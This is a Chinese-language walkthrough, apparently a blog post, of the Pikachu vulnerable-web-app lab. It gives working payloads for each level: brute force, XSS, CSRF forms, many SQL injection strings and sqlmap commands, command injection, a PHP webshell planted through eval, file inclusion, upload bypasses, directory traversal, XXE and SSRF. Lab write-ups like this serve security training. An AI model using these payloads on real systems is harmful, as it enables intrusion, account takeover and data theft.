一、暴力破解

基于表单的暴力破解

首先我们在登录框输入,然后抓包发送到攻击器

pikachu1-1.png

然后点击开始攻击,根据返回的长度判断是否成功,可以看到密码是123456,登录成功

pikachu1-2a.png

验证码绕过(on server)

这一关源码有点问题,如果抓住包不放那么验证码就不会失效,不过这不是重点,这一关我遇到了个bug,看图片写验证码明明账号密码都对,验证码也对但是一直报错验证码不对,然后看源码说验证码在cookie中,翻开cookie一看两眼一黑,这图片的验证码和cookie里面的完全不一样,使用cookie里面的验证码才能登录,不过只要一重新请求cookie里面的验证码也会重新变

pikachu-pojie-1.png

所以我们只需要填写cookie里的验证码,我们把cookie的验证码填写到验证码那个框然后抓包发送到攻击器,

pikachu-pojie-3.png

添加两个payload位置,选择pitchfork(草叉)攻击,再payload1和2分别导入对应的字典点击攻击,可以看到用户名密码是admin/123456

pikachu-pojie-2.png

验证码绕过(on client)

这一关也被称为前端绕过,在前端的验证都是不可靠的,我们可以直接f12禁用js,然后点击登录再抓包

pikachu3-1.png

发送到攻击器然后攻击还是爆破出了密码admin/123456

pikachu3-2.png

token防爆破

还是把登陆包发送到攻击器,选择草叉攻击,添加两个payload,然后payload 1还是导入字典,payload2需要我们去获token,在攻击器右边导航栏点击设置,再点击检索-提取,获取响应如下配置,搜索token,然后把值选中点击确认

pikachu4-1.png

执行完此操作就是如下配置

pikachu4-2.png

然后点击攻击成功获取密码:

pikachu4-3.png

二、跨站脚本攻击

反射型xss(get)

这一关我们就直接使用最经典的payload即可: <script>alert()</script>,我们直接在输入框无法输入完,这是前端限制了,我们可以直接随便输入几个字母提交然后浏览器地址栏输入payload,成功弹窗

pikachu-xss-1.png

反射型xss(post)

这一关差不多,只不过我们需要先登录,点击提示,说是要我们获取cookie的,然后提供了admin/123456,我们先登录,然后输入payload获取cookie(这里输入上一关payload也可以不过我们换个花样)

<script>alert(document.cookie)</script>

然后输入完点击提交就会弹出我们的cookie,这一关可以直接在输入框里面输入

pikachu-xss-2.png

存储型XSS

这个也比较简单就是直接输入xss的payload:<script>alert()</script>,然后直接存储到数据库里面了,每次刷新访问都有

pikachu-xss-3.png

然后刷新此页面仍然有弹窗

DOM型XSS

DOM型的xss是:本质是前端的js代码自己把恶意代码写入的,服务器也没有参与将其拼接进 HTML 响应体的过程。

我们在这一关随便输入一些内容可以看到我们的内容会出现在前端的源码中,可以看到是在<a>标签的href里面,输入完内容点击提交他会跳转

pikachu-xss-4-1.png

所以我们直接使用javascript伪协议的xss的payload即可成功触发,直接输入框输入payload:javascript:alert()

pikachu-xss-4-2.png

也可以使用此payload:'><img src=x onerror='alert()

DOM型XSS-X

这一关的payload和上一关一样,只不过我们需要多点击一下

pikachu-xss-5.png

xss之盲打

这一关我们在前端看不到我们的xss代码的执行效果,需要登录后台才可以看到效果,两个输入框都可以使用xss的payload,我们在其中一处填写提交即可

pikachu-xss-6-1.png

这是后台地址 :ip地址/pikachu/vul/xss/xssblind/admin_login.php,使用admin/123456登录后成功弹窗

pikachu-xss-6.png

xss之过滤

通过查看源码我们可以知道它过滤了,<script>这个标签,连尖括号都没过滤

pikachu-xss-7-1.png

直接随便写一个不带<script>标签的payload即可:

<svg onload=alert(1)>

<img src=x onerror=alert(1)>

pikachu-xss-7-2.png

xss之htmlspecialchars

这一关其实就是html实体化,把特定的符号转义了,默认是转义尖括号的,我们直接使用js伪协议也可以绕过:javascript:alert()

pikachu-xss-8.png

使用' onclick='alert(1) 也可以

xss之href输出

这一关我们仍然使用js伪协议即可,javascript:alert()

pikachu-xss-9.png

xss之js输出

这一关的关键在于闭合,我们直接使用js伪协议发现没成功,看前端输出可以发现,<script>标签加上我们输入的只有三个。我们可以直接在<script>alert()</script>的前面加上</script>闭合掉前面的<script>标签

pikachu-xss-10-1.png

重新输入新的payload</script><script>alert()</script>即可触发payload,只要使用</script>闭合前面的标签即可,</script><svg onload=alert(1)>

pikachu-xss-10-2.png

或者我们也可以使用js中的注释把后面的内容注释掉,然后使用分号把前面js语句闭合构造payload:';alert(1)//也能成功

三、CSRF

CSRF(get)

我们点击提示,可以看到许多的用户名,然后密码都是123456,我们随便登录一个账户然后抓包,我用的是kobe/123456,然后修改信息,抓包可以看到信息是明文传输的

pikachu-csrf-1.png

我们构造恶意链接,把性别改成123,电话改成1111111,邮箱改成csrf123@123.com:http://192.168.68.133/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=123&phonenum=1111111&add=nba+lakes&email=csrf123@123.com&submit=submit

然后退出登录,使用lucy/123456登录账户,直接点击我们构造的恶意链接可以发现成功更改

pikachu-csrf-2.png

CSRF(post)

这一关是post请求,所以我们抓包然后右键选择复制基础POC

pikachu-csrf-3.png

然后新建一个index.html,把poc复制到里面hidden后面的值可以改的,我改成了性别456,电话号码222222,email.......

<html>
<body>
<form action="http://192.168.68.133/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST" name="form1" enctype="application/x-www-form-urlencoded" >
<input type="hidden" name="sex" value="456"/>
<input type="hidden" name="phonenum" value="222222"/>
<input type="hidden" name="add" value="nba&#43;lakes"/>
<input type="hidden" name="email" value="222@gmail.com"/>
<input type="hidden" name="submit" value="submit"/>
<input type="submit" value="Submit request" />
</form>
<script>history.pushState('', '', '/');</script>
</body>
</html>

然后浏览器登录vince/123456账户,同一个浏览器打开index.html(不过真实环境一般把这个放到可以公网访问的服务器上,然后生成短链接),点击submit可以看到信息成功变更

pikachu-csrf-4.png

CSRF Token

这一关是无解的,是用来告诉我们csrf的防御方式,这一关无法构造链接来篡改用户信息,我们可以分析一下原理,

源码token_get_edit.php里面有$_SESSION['token'],每次请求后端会生成新token发送到前端

pikachu-csrf-5.png

每次提交表单的时候前端的token都会传输到后端比对,不一致就会导致操作失败,而攻击者无法知道每个操作的token是啥就无法伪造链接

pikachu-csrf-6.png

四、SQL注入

数字型注入

这一关是post请求的sql注入,我们选一个数字提交抓包,因为是数字型所以不用闭合,然后再id=1后面加一个单引号就报错,这里我们话不多说就直接给payload:

获取数据库:id=100 AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e))--+

pikachu-sql-1-1.png

获取表:id=100 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

获取字段:id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'

拿到数据:id=-1 union select group_concat(username),group_concat(password) from users

pikachu-sql-1-2.png

然后md5解密:admin/123456

字符型注入

这一关是get请求,直接再name后面输入几个字母加一个单引号报错,我们直接union注入即可,浏览器地址栏name参数输入,不要漏掉submit参数

payload

获取数据库:name=s%27union%20select%201,database()--+

获取表:name=s%27union%20select%201,group_concat(table_name) from information_schema.tables where table_schema=database()--+

获取字段:name=s%27union%20select%201,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+

获取数据:name=ssd' union select group_concat(username),group_concat(password) from users--+

搜索型注入

这一关还是单引号闭合直接给payload(地址栏输入,不要忘记submit参数):

获取数据库:name=1' union select 1,2,database()--+

pikachu-sql-3-1.png

获取表:name=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

获取字段:name=s%27union%20select%201,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+

获取具体数据:name=ssd' union select group_concat(username),group_concat(password),3 from users--+

xx型注入

这一关输入单引号报错暴漏了闭合方式是单引号加括号闭合,然后使用name=as') union select 1,2--+得到回显位两个

浏览器地址栏输入(不要忘记submit参数):

payload:

获取数据库:name=1') union select 1,database()--+

获取表:name=1') union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+

获取字段:name=s')union%20select%201,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+

获取具体数据:name=ssd') union select group_concat(username),group_concat(password) from users--+

pikachu-sql-4.png

insert/update型注入

这一关提示我们注册账户,我们点击注册,然后又六个输入框,用户和密码必填,我们就在用户框填入' union select 1,2 --+可以发现报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'union select 1 --+',md5('1234'),'','','','')' at line 1

可以看到md5那个应该是密码输入框,第一个是用户输入框,我们使用union注入没成功试试报错注入

获取当前数据库a' and extractvalue(1,concat(0x7e,(select database()))) and '

获取表:a' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1))) and '(改成limit 1,1 limit 2,1不断遍历拿到所有表)

获取字段名:a' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1))) and ' (同样limit遍历拿到所有字段)

获取一个具体数据:a' and extractvalue(1,concat(0x7e,(select concat(username,':',password) from users limit 0,1))) and '

pikachu-sql-5-1.png

delete型注入

这是个留言板留言可以删除,我们抓取删除的那个包,在id后面加上单引号可以看到报错:

pikachu-sql-6-1.png

这个应该是数字型的,不需要闭合,浏览器地址栏输入即可,直接写payload:

获取数据库:?id=1 AND extractvalue(1,concat(0x7e,(select database())))

获取表:?id=1 AND extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))

获取字段:?id=1 AND extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273)))

获取具体数据:?id=1 AND extractvalue(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 1,1)))

pikachu-sql-7-1.png

http header注入

这一关的注入点是UA头,我们点击提示给了一个账户,admin/123456登录

pikachu-sql-8-1.png

登录抓包,然后把UA后面的值删除输入单引号报错

payload:

获取数据库:'or updatexml(1,concat(0x7e,(select database())),1) or '

pikachu-sql-8-2.png

获取表:'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) or '

获取字段:'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273)),1) or '

获取具体数据:'or updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 1,1)),1) or '

pikachu-sql-8-3.png

布尔盲注

这一关本来应该是布尔盲注的,但是它仍然有回显位,我们还是可以使用union注入,还可以使用时间盲注,不过我们还是使用布尔盲注吧,我们需要先输入一个正确的名字,这一关虽然提示我们是admin/123456但是我们只有输入kobe/allen/lucy等名字才可以正常回显,然后输入kobe'显示username不存在,然后我们输入判断条件 kobe' and 1=1 --+正常回显

pikachu-sql-9.png

输入kobe' and 1=2 --+就显示username不存在,由此判断出存在布尔盲注

pikachu-sql-9-1.png

获取数据库名称:name=kobe' and length(database())=7--+(7是数据库名的长度,一个一个试,试到7返回正常说明库名长7位)

name=kobe' and ascii(substr(database(),1,1))=112 --+ # (112对应的是p,第一个1是库名第一位)

name=kobe' and ascii(substr(database(),2,1))=105--+ # (105对应的是i,2是第二位)

以此类推,最后得到库名pikachu

不过这样太费时间了,我们直接使用sqlmap即可,sqlmap默认的布尔盲注判断不适用此关,所以我们就使用时间盲注来替代下

获取表:sqlmap -u "http://192.168.68.133/pikachu/vul/sqli/sqli_blind_b.php?name=s&submit=查询" -p name --batch --technique=T -D pikachu --tables

pikachu-sql-9-2.png

获取字段:sqlmap -u "http://192.168.68.133/pikachu/vul/sqli/sqli_blind_b.php?name=s&submit=查询" -p name --batch --technique=T -D pikachu -T users --columns

获取具体数据:sqlmap -u "http://192.168.68.133/pikachu/vul/sqli/sqli_blind_b.php?name=s&submit=查询" -p name --batch --technique=T -D pikachu -T users -C username,password --dump

时间盲注

这一关没有回显我们使用payload:name=s' union select if(1=1,sleep(2),0),2--+成功延时2秒,所以存在时间盲注

pikachu-sql-9-4.png

payload:

获取数据库名:sqlmap -u "http://192.168.68.133/pikachu/vul/sqli/sqli_blind_b.php?name=s&submit=查询" -p name --batch --technique=T --current-db

pikachu-sql-9-3.png

剩下的payload和上一关一样,只需要换一下-u参数后面的url即可

宽字节注入

这一关主要是宽字节绕过,具体原理我就不多做解释了,在sqli-lab的21-40关我提到过,我们在name参数后面输入payload:

获取数据库:name=%df' union select 1,database()--+

pikachu-sql-10-1.png

获取表:name=%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+

获取字段:name=%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273--+

获取用户名:name=%df' union select group_concat(username),group_concat(password) from users--+

pikachu-sql-10-2.png

五、RCE

windows或linux常使用如下连接符:| (管道符);|| (逻辑或);&&(逻辑与)等,管道符是把前一个命令的输出作为下一个命令的输入,逻辑或是前一个命令失败才执行后一个命令,逻辑与是前一个执行成功才执行下一个命令

exec“ping”

看标题是ping,正常情况下是输入一个ip,然后返回ping的结果

pikachu-rce-ping-1.png

但是我们使用连接符号,就可以执行我们输入的命令,比如输入127.0.0.1&dir 查看当前目录下文件

pikachu-rce-ping-2.png

或者看一下ip的配置

pikachu-rce-ping-3.png

exec“eval”

核心代码就是这个,eval直接把接受的txt参数的内容执行了

$html='';
if(isset($_POST['submit']) && $_POST['txt'] != null){
    if(@!eval($_POST['txt'])){
        $html.="<p>你喜欢的字符还挺奇怪的!</p>";

    }

我们可以输入恶意代码来创建一个webshell后门fputs(fopen('shell.php','w'),'<?php system($_POST["cmd"]);?>');

输入完显示:你喜欢的字符还挺奇怪的!说明我们成功执行了这个代码,在改文件同级目录创建了一个文件名shell.php的一句话木马

然后使用curl执行whoami成功返回

pikachu-rce-eval-1.png

当然我们也可以直接输入phpinfo();只做验证即可

六、文件包含

文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接引入另外一个代码文件。虽然文件包含函数中包含的文件代码是固定的, 但是有些时候文件包含的代码文件被写成了一个变量, 且该变量由前端传入, 若该变量没有做安全防护, 则可能引发文件包含漏洞

本地包含

只对本地文件进行了包含,一般配合文件上传漏洞,我们随便选一个人名点击提交,然后出现了filename这个参数,

pikachu-include-1.png

我们通过后面关卡的文件上传那一关上传一个图马,然后构造请求可以看到文件虽然是jpg,但是里面的phpinfo的php代码成功被解析了

pikachu-include-2.png

远程包含

可以通过url地址对远程的文件进行包含, 这也意味着攻击者可以传入任意的代码与此同时远程包含漏洞还能包含本地文件的绝对路径或相对路径。这里我们需要在靶机开启allow_url_include才可以,一般真实情况需要我们使用公网的服务器才可以实现,我们靶机是192.168.68.x网段,我用另一个位于该网段的主机进行通关。

先搭建一个web服务,然后再目录下面创建一个123.txt内容为<?php phpinfo(); ?>

随后改一下filename后面的值即可成功解析:

pikachu-include-3.png

七、文件下载

这个漏洞主要是没有对文件名校验引起的,我们进去这一关提示我们点击照片下面的蓝字可以下载图片,我们复制url出现了filename这个参数

pikachu-down-1.png

然后这些照片是放在本关源码下面的download文件夹里面的,构造url改成本关源码文件名字可以发现成功下载了源码

pikachu-down-2.png

八、文件上传

这里我们之前打过upload-labs所以就不多做解释了

client check

这一关就是前端绕过,直接浏览器上传显示php文件显示不可以,可以浏览器禁用js,也可以直接抓包,在请求中改名,我们直接禁用js上传php文件然后就成功解析

pikachu-upload-1.png

MIME type

这一关我们只需要上传前把文件名字改成png等图片扩展名即可,这样请求中的content-type就是image/png,然后抓包改成php扩展名即可绕过限制,然后访问文件就可以成功解析了

pikachu-upload-2a.png

getimagesize

这一关需要我们结合文件包含漏洞,我们先把phpinfo.php里面的内容变成GIF89a<?php phpinfo();?>(变成gif的文件头绕过检查)然后直接上传,可以看到路径

pikachu-upload-3.png

然后我们返回文件包含中的本地包含,修改filename后面的值构造参数即可解析

http://192.168.68.133/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2026/07/13/9120316a5506c8b4535834955086.png&submit=%E6%8F%90%E4%BA%A4

pikachu-upload-4.png

九、越权

水平越权

水平越权就是都是a和b同一个级别的用户,但是a却可以直接接管b的账户进行一些操作,这一关我们查看提示发现有lili和kobe和admin三个账户,我们登录了kobe账户然后可以查看到一些个人信息

pikachu-yue1-1.png

但是我们把username参数后面的值改成别的名字lili,就可以直接看到lili的信息,不过改成admin的看不了,因为admin权限要高

pikachu-yue1-2.png

垂直越权

垂直越权就是低权限的账户可以执行需要高权限才可以执行的操作。这一关我们查看下提示可以看到有两个用户:admin和pikachu,提示我们admin的权限是管理员,

pikachu-yue2-1.png

我们先登录admin可以看到admin用户有添加用户的功能

pikachu-yue2-2.png

然后我们复制url,op2_admin_edit.php是添加/编辑用户的url,然后退出,登录pikachu账户,拼接url添加新的用户

pikachu-yue2-3.png

返回可以看到新建用户

pikachu-yue2-4.png

十、../../

目录遍历

这一关我们点一下蓝色字体可以发现title参数,然后使用../进行试探,找一个windows上绝对存在的文件(linux可以找/etc/passwd),windows上我们可以找C盘下的Windows文件夹里面的win.ini文件,经过尝试最终可以看到win.ini里卖的内容

pikachu-dir-1.png

十一、敏感信息泄露

这个没什么好说的,就是开发人员粗心导致一些版本信息,服务器配置,接口信息或者账号密码泄露了

IcanseeyourABC

我们按下f12,在注释里面发现了登录账号和密码

pikachu-infor-1.png

尝试登录,登录成功:

pikachu-infor-2.png

十二、php反序列化

这一关我们看一下源码,定义了一个S类,然后属性test的默认值是pikachu,然后post请求接受O参数传进来的值,在反序列化后输出html渲染的结果,其中注释就是一段恶意payload,输入后经过反序列化会产生xss漏洞

pikachu-unserilization-1.png

我们创建一个php文件内容如下,把输出的结果填入靶场的输入款即可

<?php
class S {
    var $test="<img src=x onerror=alert('xss')>";
}
$nb=new S();
echo serialize($nb);

?>

运行代码输出:O:1:"S":1:{s:4:"test";s:32:"<img src=x onerror=alert('xss')>";}

pikachu-unserilization-2.png

可以看到成功触发payload

pikachu-unserilization-3.png

十三、XXE

看一下源码可以发现使用了xml参数接受,我们直接把xml代码输入靶场输入框提交即可

pikachu-xxe-1.png

构造payload:

我们可以通过php伪协议和file或者http协议等获取内容,这个靶场把file://协议禁用了,作者把原因写到了源码的注释里面

//php为协议读取靶场的配置文件
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=../../inc/config.inc.php">]><root>&xxe;</root>

目前好像只能使用php伪协议,把输出的base64编码解码即可获取具体的配置信息

十四、URL重定向

看一下源码,核心代码是这个,如果url参数接受的值是i,就会打印文字,如果不是i,就会通过header函数 跳转到我们输入的网址

$html="";
if(isset($_GET['url']) && $_GET['url'] != null){
    $url = $_GET['url'];
    if($url == 'i'){
        $html.="<p>好的,希望你能坚持做你自己!</p>";
    }else {
        header("location:{$url}");
    }
}

点击最后一行字出现了url=i

pikachu-url-1.png

然后我们把i改成https://baidu.com,然后回车就会跳转到百度页面

十五、SSRF

curl

我们可以通过file://协议获取文件,比如获取win.ini,我们先在file参数后面加上file=../../../../../../../Windows/win.ini,就可以成功读取win.ini的内容了

pikachu-ssrf-2-1.png

或者通过dict://协议内网探测,比如探测3306端口的服务状态

pikachu-ssrf-2-4.png

file_get_content

这一关我们可以使用file://协议和上一关一样读取文件,我们还可以使用php伪装协议来获取ssrf_fgc.php内容,把获取的结果进行base64解码即可

pikachu-ssrf-2-2.png

成功获取到源码内容

pikachu-ssrf-2-3.png